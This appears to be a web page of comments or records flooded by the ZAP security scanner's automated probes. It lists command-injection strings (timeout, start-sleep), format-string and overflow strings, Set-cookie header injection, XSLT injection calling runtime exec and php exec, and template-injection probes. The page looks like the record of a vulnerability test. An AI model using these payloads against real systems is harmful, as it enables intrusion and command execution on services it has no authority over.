ZAP — 8/20/2026, 4:11:16 PM
"&timeout /T 15.0&"
ZAP — 8/20/2026, 4:11:16 PM
"|timeout /T 15.0
ZAP — 8/20/2026, 4:11:16 PM
'&timeout /T 15.0&'
ZAP — 8/20/2026, 4:11:16 PM
'|timeout /T 15.0
ZAP — 8/20/2026, 4:11:16 PM
;start-sleep -s 15.0
ZAP — 8/20/2026, 4:11:16 PM
";start-sleep -s 15.0
ZAP — 8/20/2026, 4:11:16 PM
';start-sleep -s 15.0
ZAP — 8/20/2026, 4:11:16 PM
;start-sleep -s 15.0 #
ZAP — 8/20/2026, 4:11:30 PM
rrqEJwrhCSKJQnAZgqxCGQGhUcnlCypfKRoscTFfKZjHTvsSoFtBCNNBaJWWLOFIacqIcUJMoYyMlXxxsyTZPsMwNKWhAZLKUJSsmANegLvsQxkXRIUvvWfcjiUkxRTZscnFrwlRgfFKOJDPWhrELMjKEMXFgcvuBRpLGLjfxWoVafxYdgnuYisXaxaidqAXWeafRdqQVdCJnaxyJMaFayxpAiAtEMblEkcaeWMMqDNMEdTfvvlCPWkuFjEMkeCenDlMGnXpoJpMtbXwYutFducOBxPAmXaOJkZCiESveTFMsFIYMGyBktpfLjVEDDBJoBrjomHPuLXCZMYDdUAftsOyBXrjJdMscLCrXpyiftKyExIGamystsDXwMcuyNucaFxgHrkScrZUWcCaTKTerNLLtJnEIkMAKusGIUkBybFYQUMFbfShCbEquQKLhXyDrFqDBUijLjBlBpGYgZkEmMvUTYxmiSUTbXrpfvapSHNFDZVQZhldcGjOlDJOkptZjqtsicucFOmhSFLshXsNNwFlLKqfbGKPKWjsUGQeyTTexgxnNdsHUsiImGHSxsSWssMhHWxymrkMTSiswIFOAdbqRWPRjltKkfnDrJAkcTdxuJutKPRPEQvbjScqJptyZWgRSceYodOjnUtsVUBJkmEqHrnGSWdukdsZPOALDeYpTJbJXvxwNosVKRcIifxPJDiaJMMiKZanNgrYVGSrkBsPlHCgULEZMoakucWyrWkGmupQCTVYJWADfjQYBpiGuRLaDpHmOkrCVTXYssKlFZZgugPaiSLUbDwLJUabAwkGMNGddXAUiERVodXlFPVWEuhXQKHqyruNwvsLbCmAMoRpaibUeyyPWaNqymbYkNhPUORjUEEkKKGcRwcVWwujnoCwMNAClGjFZpYBnwOXGWrjWiYIhGUUuLxFnJUDLjEnfRPsnnYKvSPhpVrOdXqidtqPRgxyBxiTfCIgbfHAgQYdntKeOUYlclwaEfoTJFkBUERlwBKyhPxpZtcWQWHdAPLoMXsSIpKkHZZyBtXJMQviOCWqrwyQCfZaAqVUKZHLICiarXelHZCkVVArUOluynjxeIGSgjuNPFOrfbIvdwRCKIlCgnjRgMYRWdBYoXnWHvGccMSUFyDjPofjOesUWmhgiXfivbuMYeXDHLjgiXRgtOOSPkkYdOeQOeocXfrJlGxSRrLugwCbOyxhrSIasxGjmVKYOpJdMXXZsKSYGnFlxpyDiMLECdELtXUxbYKFohjRjVymfuemhtXbmInZoUchPfVEfyOOhfEtQjAIoLtWijxNwvCOVnfTvadqjbPpMGKHLgokbaNOTwFroPOQxlakrdlBANZlOwjZtSVbhpQpdpiDqtwsCErsPWsYwNGQDRyJLDekEDcjTFkHfFmDvBpkfybVBGtHkaFVDajtBiFIgmZOTUxeRJYtjWGIOOaKYJGFPwZfcZeoytbpPSnHxCHkTKyAMPkdssLgUpPaNFoxHqrapGdGSykhejDMvqrvLJTtNRXHoONGjjbvlLsIufNudYYFOgdrXGXylkMSHAeyUKRdqoVITFnjhUClKUQjuWfFlvuwhQWjYjksBdbDovtlOEklVnfmTqrShKiJaRrolZBudQoUvhREGbLbPHmZehJHlHyLPyxfNeSwyGYcRBuuNUoxIMPFUxdjtkpFjnynWNAbukUPnHQDhaycIYBKISOemScHQeeaKhfwZIOvsPDbOtKAdATPKTIeYgZWhbFWrgWIrneOYQfMucMtZJkQriqtYHjeUCwdPlnlXOWnpZgFZYWKYkTpcxSOmSiFxsNZWqFmyMkmfemPMIFGiGjLTOiXjGWHDbkWfgBbJmbyXWaJONRAuyoYXypfqoXMIlvyngbbYNZAEsNBOXRCjgnxXgXlEgMerKXaBKJVrbvotMMZMAKbNnwaLpLmmTlZVHnNUvgBhNsWMiKCSCCbabiwqCoycqdReeghSlElnxSodaGghKQpcfKWhvDUZdtJMFtbiIVYkCoNkGlhjXRanKrmnEjoRqfUVihllDLNZlOmSDNHVYFeWnEsZHWmNUiYZwTeSRyeElprBqBsNHvnwnLoKSGCqvPQ — 8/20/2026, 4:11:34 PM
ZAP — 8/20/2026, 4:11:34 PM
bLhuvxwaHcddxjayuSZeawwBWGfRflyxTnVhTYPgFoFQUgvpPwivaWWdNArGjIbnpsTWqBoLUUgsAvlTOOlgtBEKGjRKFtlwpgoekgJWGVTlhQeaoWhxmfDNpvhApqulnVEGjfLrrdHknuLaBupTEUKQZDbBaZNnYZPpZyAJSNtPYsuURfDtJXTbaklSKIEVgpXEkbMJdgFEjXnYltSeKaxigRtOmRHIUrZVETrqybQKaLMhipodsJLvDGTHHMZmtfNiWKIGKSjvQtrvOlMpalFnKBkGaKxvneAfRbjmEsCLGnnSBnBfGcRluiwvuQoaNRtfockGpThWGDNMaNgPoQKOioTUTwlYmKytLfJqvcUFNOkEknTPaKggOBCFBvkNtcqifFPVNvIKPZtfECEeDrbyFgJwXddSSFTWqwUhowIWFihrTyweLxZcjXMMYkAHbUdZGlcvwkYiMQJhlcwNetvNeWRGcFNZUOdAvaSuuMIiAtpNWJYFEUeYyLeXnBFcIMYAEJqmxfjpNGkESYZIXsmaiCpufEOjMPUcVDfpmGKRtxENpRdhHUZOIaQUggWhNgOborLXXbnyOJcagKwKFXvQvqHlZkqoqpUjGRABoaFkRkqEDyFEvDLOFCOSElwIPgSKmMMrvClOZrpEbqassVdYapiTRMPKscyqEZvcGnPEUcVXCACVMlXGUKZkFfXWwopOYZaiHLdNpfovMRVXdRSFHAaJMFbdvBHKLrxfnnqcinfiprkEecPGMEosOvGsCefKusaCLlwtkvvJqgwnLMOgEUNrPUNGCgnpmJyUCvknUWKiLacWgyefnKhMQtUpEOiCdrPsOuIfvgpbqCIOpoKwfoFdpiZOubwfKRnRGegIuEwktrNDBOfYlqBKVvnNSrTJeEdvNgpbbhjveUxtiwFspSHeqYXnIbLBDDvnZgjnFHRHmsYQFvuMdqAOtepYPAOgBXohcEoZKJaLRMslGwVparLqXqqKSSXIPJrZIwZrnrjNjPlohcUvwytluBcEGfOIDCxUpicpixRCEeUvYdWilJvEZRivtXxeHewXiZsGjyfMKnlouPiyRZAfZZYyeBpkuNnFDqBAKohpltjgtmnSshvWgQwquRsjBUVdaMbjNrDSrailRkmfvItDXtmpsuqfMbueFJvNyTQqsxROMPannGXTsGKdMkvgBBsDydpRKOvlvVkMLHUwmQTfyWhApAOoBkEgpJIiykmRmPkaqwmVFcyOUCfJqdpmRqrgelouQEQFNrKQyxKsYulXABPIMXugsvoiZvAxMtldEnDYrWmmdujFrhSsVtZNgoPxXZQliYUUOSPMJcSnoohbouJGcBKVsPJwviAjgtPOMdowxqkcSXGOwpbPRxlyHJIhMVGYcZQtOrbHfoYDvfVisfBHStPGXPejVtWHCgEDOqManjMXljobTYrUJiKfrSbdcAoftYIwyXGEECJdQUgQpRdGSBRoQqGYsqLIynYcIvKKjmoIiBcXcgBmjRvVTSSDDGCVBhHeYyRucUdHcoWxiLxrBfeMhnNZyELGMatUvZfCJDWFvnZroOXEtNTdjZmrEmxoRRSkULMRpYNtMfcbbeoWCBWFFZWGqnBbQvYjxWPFRWQkEuAHjaRVUGYRkRfaScQMUHnNIBEXNXMHnhIviIMxITGyGRpKSLmxJwUXPnfItPRavJAaYVNkMVkLxnyGCnRJBoEdnolSvAGxKtJcyrVLSAsmwGBtYddkucQWOpDmoqybquIIFGiDltqOusCFuFhgstCgfUppvhpEpwAkZwrRPQDgOLXIlUVwUGHrFOKSMfDnypYiGLydUWIXaqFFPPXcCQxCwthwuSNFIUhkUrkgCjVAicJLVHZhKATyFMyoseLUdBETvESbJWoOvkYkokQGlsHtdJUCIwygyaRyRJZRqDPPHbjtVtPTEGcCYvpgMbMpKViDJsPPddjEqcvYvvKSMWyYeqXreoUrEMZyBIgrLnZhjrfHulUlyOvHIkiSHRVhYbiBcpbgGCormcPlUlDtCMxTRmoFeuOcsaLKixCAggehORGFGlapBQKAMyfMHPYuvhaGASkhABnOiDSSkiiGrjtCaDUA
ZAP — 8/20/2026, 4:11:37 PM
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s — 8/20/2026, 4:11:37 PM
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n — 8/20/2026, 4:11:37 PM
ZAP — 8/20/2026, 4:11:37 PM
ZAP
ZAP — 8/20/2026, 4:11:37 PM
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s
ZAP — 8/20/2026, 4:11:37 PM
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n
Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876 — 8/20/2026, 4:11:41 PM
any Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876 — 8/20/2026, 4:11:41 PM
any? Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876 — 8/20/2026, 4:11:41 PM
any Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876 — 8/20/2026, 4:11:41 PM
any? Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876 — 8/20/2026, 4:11:41 PM
any Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876 — 8/20/2026, 4:11:41 PM
any? Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876 — 8/20/2026, 4:11:41 PM
ZAP — 8/20/2026, 4:11:41 PM
Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876
ZAP — 8/20/2026, 4:11:41 PM
any Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876
ZAP — 8/20/2026, 4:11:41 PM
any? Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876
ZAP — 8/20/2026, 4:11:41 PM
any Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876
ZAP — 8/20/2026, 4:11:41 PM
any? Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876
ZAP — 8/20/2026, 4:11:41 PM
any Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876
ZAP — 8/20/2026, 4:11:41 PM
any? Set-cookie: Tamper=a593db1f-4a6d-4ceb-8d25-0670f4d07876
ZAP — 8/20/2026, 4:11:45 PM
Anonymous — 8/20/2026, 4:11:45 PM
Anonymous — 8/20/2026, 4:11:45 PM
@ — 8/20/2026, 4:11:45 PM
+ — 8/20/2026, 4:11:45 PM
— 8/20/2026, 4:11:45 PM
| — 8/20/2026, 4:11:45 PM
ZAP — 8/20/2026, 4:11:45 PM
ZAP — 8/20/2026, 4:11:45 PM
ZAP — 8/20/2026, 4:11:45 PM
ZAP — 8/20/2026, 4:11:45 PM
@
ZAP — 8/20/2026, 4:11:45 PM
+
ZAP — 8/20/2026, 4:11:45 PM
ZAP — 8/20/2026, 4:11:45 PM
|
< — 8/20/2026, 4:11:57 PM
<xsl:value-of select="system-property('xsl:vendor')"/> — 8/20/2026, 4:11:57 PM
system-property('xsl:vendor')/> — 8/20/2026, 4:11:57 PM
"/><xsl:value-of select="system-property('xsl:vendor')"/><!-- — 8/20/2026, 4:11:57 PM
<xsl:value-of select="system-property('xsl:vendor')"/><!-- — 8/20/2026, 4:11:57 PM
<xsl:value-of select="document('http://tnc-demo.awsomedemos.com:22')"/> — 8/20/2026, 4:11:57 PM
<xsl:variable name="rtobject" select="runtime:getRuntime()"/> <xsl:variable name="process" select="runtime:exec($rtobject,'erroneous_command')"/> <xsl:variable name="waiting" select="process:waitFor($process)"/> <xsl:value-of select="$process"/> — 8/20/2026, 4:11:57 PM
<xsl:value-of select="php:function('exec','erroneous_command 2>&amp;1')"/> — 8/20/2026, 4:11:57 PM
ZAP — 8/20/2026, 4:11:57 PM
<
ZAP — 8/20/2026, 4:11:57 PM
ZAP — 8/20/2026, 4:11:57 PM
system-property('xsl:vendor')/>
ZAP — 8/20/2026, 4:11:57 PM
"/>
AAA{{7*7}}<%= 7*7 %>${7*7}#{7*7}BBB

Add Comment

← Back to Records